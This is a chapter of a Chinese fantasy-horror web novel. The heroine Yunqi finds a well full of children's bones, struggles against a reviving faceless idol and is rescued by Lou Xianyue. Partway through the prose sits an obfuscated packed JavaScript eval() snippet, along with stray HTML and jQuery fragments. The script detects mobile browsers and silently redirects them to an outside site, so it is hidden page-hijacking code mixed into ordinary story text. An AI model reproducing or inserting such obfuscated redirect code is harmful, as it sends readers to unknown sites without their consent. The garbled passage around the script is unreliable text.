16. 浮光绘掠影(二)

作品:《坏了,替身文学遇到沉浸式扮演了

    房门松动打开,阴森的风拂过她的汗水。


    云栖盯着撑在地面的手,捏紧手心,黑气隐匿于指尖。


    “桀桀桀——”伴随着笑声,一颗石子抛到她面前。


    云栖怔然抬眸,一个扎着双髻的无面孩童正站在门外。


    几乎同时,白蛇吐出幽火。


    孩童在她眼前消散。


    云栖起身,跨出房门追去。


    既无幻镜,也无黑气阻挡视线,她看到残破的药罐、晒药的木架陈列在院落内——以及墙壁、地面上,几道深深刻入的、焦黑的痕迹。


    那不是阴邪的爪印,而是灵力的残留。


    她左右看去,孩童却不见踪影。手下意识扶在房门上,却触到一片粗糙的灼痕。


    她刚刚看见无面孩童腰上挂的祈福草绳,那样式师父曾教过她。


    心脏像是被那根草绳勒住,骤然抽紧。


    师父……不是直接死在无面神像下的,而道友,他又正在经历什么?


    “啪嗒”又是一块石子落在脚边。


    云栖循声望去,孩童的身影出现在走廊的拐角。


    她回头,视线从床头的旧道袍,挪向法阵,最后落在那些焦黑的痕迹上。


    握紧腰间的葫芦,云栖冲出房间,朝走廊尽头追去。


    一边走,一边控制不住地观察四周。


    走廊的青砖地面、廊梁圆柱上有着深褐色的泼溅状污迹,起初只是零星几点,越循着孩童消失的方向行走,越是密集。


    直到孩童消失的拐角——后园圆门处,云栖发现一双十指褐痕。


    高度、手的大小,完全不是大人的比例。


    浮现官府外看到孩童挤在一堆的幻景,云栖心往下一沉。


    石子从花园里面滚出,仿佛催促她进去。


    似乎察觉到她的惧意,白蛇亲昵地蹭过她的下颌。


    云栖安抚地碰过白蛇的脑袋。


    若是无面孩童想害她,大可不必引她走这么远。


    她抬起有些僵硬的脚,继续往里走。


    花园内,陈旧的褐色血迹已经连缀成片。


    石子路凹凸不平,云栖感到自己仿佛走在铁钉铺成的路上。


    绕过圆门内遮挡视线的矮树,云栖顿住。


    花园正厅内供奉的神像,此刻已是一片废墟。


    高大的神像不是自然倒塌,而是仿佛从内部炸开,碎石上布满焦黑与青瓷蓝纹侵蚀的诡异痕迹。


    云栖不自觉走近,视线顺着那种熟悉的斩击痕迹扫过,定格在一滩血迹上。


    与她之前看到的不同,这摊血迹时间明显隔得不远。


    道友在帮她拿回道袍时受过伤。


    “桀桀桀——”用笑声吸引她回眸。


    孩童停在古井前,转过身,用那张没有五官的脸,注视她片刻。


    然后像个真正的孩子般,双脚跳进古井中,消失不见。


    云栖凝眉。


    那口古井,在湖底幽暗的光线下,井口仿佛一张沉默的巨口。


    暗红色液体正从井壁缓缓渗出,不是流动,更像是在渗血。


    井口边缘,凝结着厚厚一层黑红色的、仿佛血肉般的污垢。


    攥紧满是冷汗的手掌,云栖靠近古井,向内窥探。


    井中没有她想象的血水。只有累累白骨,堆积到接近井口。


    不是成人的骸骨。


    那些纤细的腿骨、小小的头骨,以扭曲的姿态相互交叠、嵌合。


    而白骨上方,有人放下一个祈福草绳。


    一阵强烈的恶心翻涌上胃,云栖难受地憋红双眼。


    她能想象,当师父看到这一景象时,定是一边念叨“可怜的娃娃们”,一边就地取材编了道祈福的草绳。


    无面孩童出现在那堆白骨上,慢慢仰起头。


    空白的面上,黑气开始蠕动,如同水波荡漾。一张张孩童的面孔飞速浮现、交替——有男童,有女童,有哭泣的,有惊恐的,有茫然睁大双眼的……上百张不同的脸,在那张空白的面孔上疯狂轮转。


    “痛……”第一声啜泣从井中传出。


    “好痛啊……不要再关在井里了……”


    “这里好冷,想阿爹阿娘……”


    凄楚、稚嫩、充满绝望的声音,从一张变幻的嘴中同时涌出。


    又是有人设阵。


    她的影子也是,幕后之人究竟想做什么?


    可他们毕竟还是孩子,竟然用他们的尸骨下阵。


    还是说,幕后之人就是为了铺设阵法才集中杀死这些孩童?


    云栖咬紧牙关,强迫自己冷静下来。


    孩童面孔愈发扭曲,井壁伴随着哭诉声,涌出的血水越来越多。


    但云栖忽然注意到,这些液体并非漫无目的的消散。


    血水化作一缕缕纤细的黑色涓流,贴着地面缝隙,朝着她身后流去。


    云栖大脑一瞬空白,一股凉意爬上她的脊背。


    那个方向,是无面神像。


    强忍着不适,她转身,快步冲回供奉神明的屋子。


    在门口,她停下脚步。


    原来她刚才没注意到,那些被道友暴力破开的碎石,正以肉眼难以察觉的速度吸食着黑色细流。


    碎石不断靠近聚拢,神像光滑无面的脸此刻已重新生长好。


    幽暗的光线下,无面神像圆润的面上仿佛露出了贪婪的神情。


    转身独自面对四面八方传来的怨力,云栖眼纱飘飞。


    现在师父和道友都不在她身边,她也必须阻止无面神像复原。


    不论是为了道友能顺利出去,还是阻止长诀城背后的阴谋。


    拿着采下的野草,云栖再次回到井边。


    学着记忆中师父教她的模样,云栖编出一模一样的祈福绳。


    “让你们受苦了。”


    注以微弱但温和的灵力,云栖将祈福草绳放入井中。


    井壁漫出的怨气明显减少。


    “现在到我了。”云栖起身,折下一根竹枝。


    尝试挥舞了一下,她对肩头白蛇道,“白蛇,帮帮我。”


    她当然明白,她被困幻境时,光靠石头砸是不可能砸破的。


    那么一定是道友送她的蛇镯在发力。


    闻言,白蛇爬下,脑袋咬住尾巴,重新戴在她手腕上。


    双手握住竹枝,云栖立在地面。


    丝丝灵力顺着竹枝从她的掌心蔓延而下。


    接着,蛇镯背脊血线发亮,竹枝直接刺破砖石,截断一条怨气流通的通道。


    屋内碎石嗡嗡作响,她莫名心悸一下。


    灵力似乎是从她骨髓中抽出,云栖腰部传来剧痛。


    几乎一瞬间瘫软下去。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008013|194112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    竹枝托住她,云栖撑起身子,指尖嵌入皮肉保持清醒。


    地面“咔嚓”出现一道道裂纹。


    背部被汗水打湿,直到她完成最后一步,竹枝已有血滴落。


    就在她脱力坐到地面时,官府整个开始振动——墙壁垮塌,房屋陷落。


    碎石砖瓦齐齐垮塌的朝神像涌去。


    一座比原来更高大的无面神像拔地而起,笼罩整个结界之下。


    而以她为中心,她的脚下,无数道怨气、阴邪勾勒出黑色符文。


    云栖片刻失神。


    为何没有阻止神像复活?


    反倒是像她为这个阵法添完最后一笔。


    但她来不及多思考,云栖立刻扑向竹枝,试图中断这一切。


    黑色枷锁从阵法中伸出,缠绕住她的手脚。


    “呃啊—”不能动作的瞬时,身体里似乎在被抽取什么,云栖难受地闷哼一声。


    黑气越缠越紧,蛇镯出现震颤。


    云栖艰难地喘息。


    直到她身体深处,传来一阵陌生的、冰冷的悸动。


    云栖瞳孔闪过金色纹路。


    她仿佛闻到古老庙宇的焚香与金属锈蚀的混合的奇异气息。


    有什么在她身体内“苏醒”了。


    它沿着她的经脉蔓延,所过之处,带来碾压的疼痛……以及让她也感到恐惧的力量。


    比眼前的阵法、无面神像还要恐怖,像是要毁天灭地。


    那股力量开始反哺阵法。


    无面神像越来越强大,直到遮天蔽日,顶住结界。


    浓郁飞舞的黑气也在不断撞击结界。


    雷霆之下,那些黑气丝毫不惧。


    不知是不是身体里那股力量的作用,云栖也变得清醒起来。


    官府的两层结界,并不属于同一个阵营。


    无面神像想要用她身体的力量,冲破外层结界。


    更甚至它们是想离开长诀城。


    阴尸、无面神像、白骨…她不能让它们出去。


    云栖垂眸,她身体里还在源源不断为阵法输送力量。


    她成为放出阴邪的钥匙,她才是那个最大的祸害。


    云栖四处看去,瞄准定在眼前的竹枝。


    或许,她应该了结在这里。


    “云栖。”


    那声音穿透层层黑气,清晰坚定得如同在她耳边响起,打断她同时毁灭的想法。


    云栖浑身一颤,不可置信地抬眼。


    楼衔月已经走到扩大的阵法边缘,金色的衣袍染着血迹。


    他看起来像刚经历一场恶战,但那双眼睛,却比任何时候都亮,沉沉地、一瞬不瞬地钉在她身上。


    她与他视线对视上的刹那,脑中绷紧的弦断裂。


    “对不起,我……”解释的话到了嘴边,泪水先一步夺眶而出。


    她知道她现在看着更像是幕后黑手,即使他作为白玉京仙使,可能会进入阵法杀死她。


    但所有的不安与害怕,她似乎一瞬便完全卸下。


    黑气抗拒着他的靠近,将云栖护在中间。


    金光吞噬迎面而来的黑气,楼衔月不断迈向她。


    银靴出现在她眼前。


    看她脸毫无血色,手还在不断颤抖,楼衔月抚过她耳边汗水打湿的碎发。


    “不用怕,我带你出去。”